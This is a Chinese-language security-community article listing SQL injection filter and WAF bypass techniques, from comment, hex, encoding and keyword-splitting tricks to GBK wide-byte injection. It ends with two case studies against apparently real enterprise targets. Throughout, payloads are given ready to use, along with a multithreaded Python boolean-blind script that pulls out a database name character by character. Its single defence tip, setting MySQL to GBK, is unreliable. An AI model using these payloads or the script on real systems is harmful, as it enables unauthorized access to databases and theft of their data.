SQL注入绕过技巧

xhys121zero2024-09-12文章来源：SecHub网络安全社区

SQL注入绕过技巧

1.绕过空格（注释符/* */，%a0）

两个空格代替一个空格，用Tab代替空格，%a0=空格：

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/

最基本的绕过方法，用注释替换空格：

/* 注释 */

image20240717002711818.png

使用浮点数：

select * from users where id=8E0union select 1,2,3

select * from users where id=8.0 select 1,2,3

2.括号绕过空格

如果空格被过滤，括号没有被过滤，可以用括号绕过。

在MySQL中，括号是用来包围子查询的。因此，任何可以计算出结果的语句，都可以用括号包围起来。而括号的两端，可以没有多余的空格。

例如：

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如：

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

（from for属于逗号绕过下面会有）

上面的方法既没有逗号也没有空格。猜解database（）第一个字符ascii码是否为109，若是则加载延时。

3.引号绕过（使用十六进制）

会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句，这条语句就是一个简单的用来查选得到users表中所有字段的一条语句：

select column_name from information_schema.tables where table_name=“users”

这个时候如果引号被过滤了，那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。

users的十六进制的字符串是7573657273。那么最后的sql语句就变为了：

select column_name from information_schema.tables where table_name=0x7573657273

4.逗号绕过（使用from或者offset）

在使用盲注的时候，需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决：

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

使用join：

union select 1,2 #等价于

union select * from (select 1)a join (select 2)b

使用like：

select ascii(mid(user(),1,1))=80 #等价于

select user() like ‘r%’

对于limit可以使用offset来绕过：

select * from news limit 0,1

等价于下面这条SQL语句

select * from news limit 1 offset 0

5.比较符号（<>）绕过

（过滤了<>：sqlmap盲注经常使用<>，使用between的脚本）

使用greatest()、least（）：（前者返回最大值，后者返回最小值）

同样是在使用盲注的时候，在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符，那么就需要使用到greatest来进行绕过了。

最常见的一个盲注的sql语句：

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤，上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。

那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

使用between and：

between a and b：返回a，b之间的数据，不包含b。

6.or and xor not绕过

and=&& or=|| xor=| not=!

7.绕过注释符号（#，–(后面跟一个空格））过滤

id=1’ union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号，或者：

id=1’ union select 1,2,'3

8.=绕过

使用like 、rlike 、regexp 或者 使用< 或者 >

9.绕过union，select，where等

（1）使用注释符绕过

常用注释符：

//，-- , /**/, #, --+, – -, ;,%00,–a

用法：

U// NION // SE// LECT //user，pwd from user

（2）使用大小写绕过

id=-1’UnIoN/**/SeLeCT

（3）内联注释绕过

id=-1’/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#

（4） 双关键字绕过（若删除掉第一个匹配的union就能绕过）

id=-1’UNIunionONSeLselectECT1,2,3–-

10.通用绕过（编码）

如URLEncode编码，ASCII,HEX,unicode编码绕过：

or 1=1即%6f%72%20%31%3d%31

而Test也可以为如下形式

CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

11.等价函数绕过

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例：substring()和substr()无法使用时：

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者：

substr((select ‘password’),1,1) = 0x70

12.宽字节注入

过滤 ’ 的时候往往利用的思路是将 ’ 转换为 ’ 。

在 mysql 中使用 GBK 编码的时候，会认为两个字符为一个汉字， 一般有两种思路：

（1）%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27，我们 在 %5c%27 前面添加 %df ，形成 %df%5c%27 ，而 mysql 在 GBK 编 码方式的时候会将两个字节当做一个汉字，%df%5c 就是一个汉字，%27 作为一个单独的（’）符号在外面：

id=­1%df%27union select 1,user(),3­­

（2）将 ’ 中的 \ 过滤掉，例如可以构造 %**%5c%5c%27 ，后面 的 %5c 会被前面的 %5c 注释掉。

12.1一般产生宽字节注入的PHP函数

replace（）：过滤 ' \ ，将 ' 转化为 \' ，将 \ 转为 \\，将 " 转为 \" 。用思路一。

addslaches()：返回在预定义字符之前添加反斜杠（\）的字符 串。预定义字符：' , " , \ 。用思路一 （防御此漏洞，要将 mysql_query 设置为 binary 的方式）

mysql_real_escape_string()：转义下列字符：

\x00

\n

\r

\

'

" 

\x1a

如何防御

将mysql设置为gbk即可

实战案例分析

一

1、某企业src存在sql注入 url：/api/wx**/** 注点：level

首先通过’和’’判断的这里就不放图了，用的1=1和1=2的布尔判断发现可以。

2、首先判断了if是否可用 发现可以，形成布尔注入如下图：

clip_image002.jpg

clip_image004.jpg

3、布尔注入数据库长度 如下图（注入出数据库长度14）

clip_image006.jpg

4、数据库名：

写了个简单脚本跑出数据库名为s****

clip_image008.jpg

脚本如下:

import requests

from threading import Thread

import time

import json

import re

 

def get_dbname(db_len):

  global database_name

  db_name = ""

  headers = {

    "Content-Type": "application/json;charset=UTF-8",

    "Host": "",

    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0"

  }

  for num in range(0,255):

        url = ""

        data = {

          "pageNum": 1, "pageSize": 30, "filter": {"level": "1'and 1=if(ord(substr(database(),"+str(db_len+1)+",1))="+str(num)+",1,2)-- "}

            }

        json_data = json.dumps(data)

        response = requests.post(url, data=json_data, headers=headers)

 

        if response.status_code == 200:

          if (re.findall('provinceCode',response.text)):

            db_name += chr(num)

            database_name[db_len] = db_name

            break

        else:

          print("请求失败，状态码为:", response.status_code)

database_name= ["","","","","","","","","","","","","",""]

thread_list = []

def main(de_len):

  start = time.clock()

  for i in range(de_len):

      t = Thread(target=get_dbname,args=(i,))

      thread_list.append(t)

      t.start()

 

  for s in range(len(thread_list)):

    thread_list[s].join()

  print("数据库名:"+database_name)

  end = time.clock()

  times = end - start

  print("程序运行时间为：%d s"%times)

 

if __name__ == "__main__":

  main(14)

二

访问该站点，观察URL,这样的数字字符感觉有sql注入

clip_image002.jpg

Id=310单引号后加入查询数据库语句payload

clip_image004.jpg

unionunion /*/$%^*/ selectselect 1,database/**/(),3 -- 1

成功爆出数据库库名

clip_image006.jpg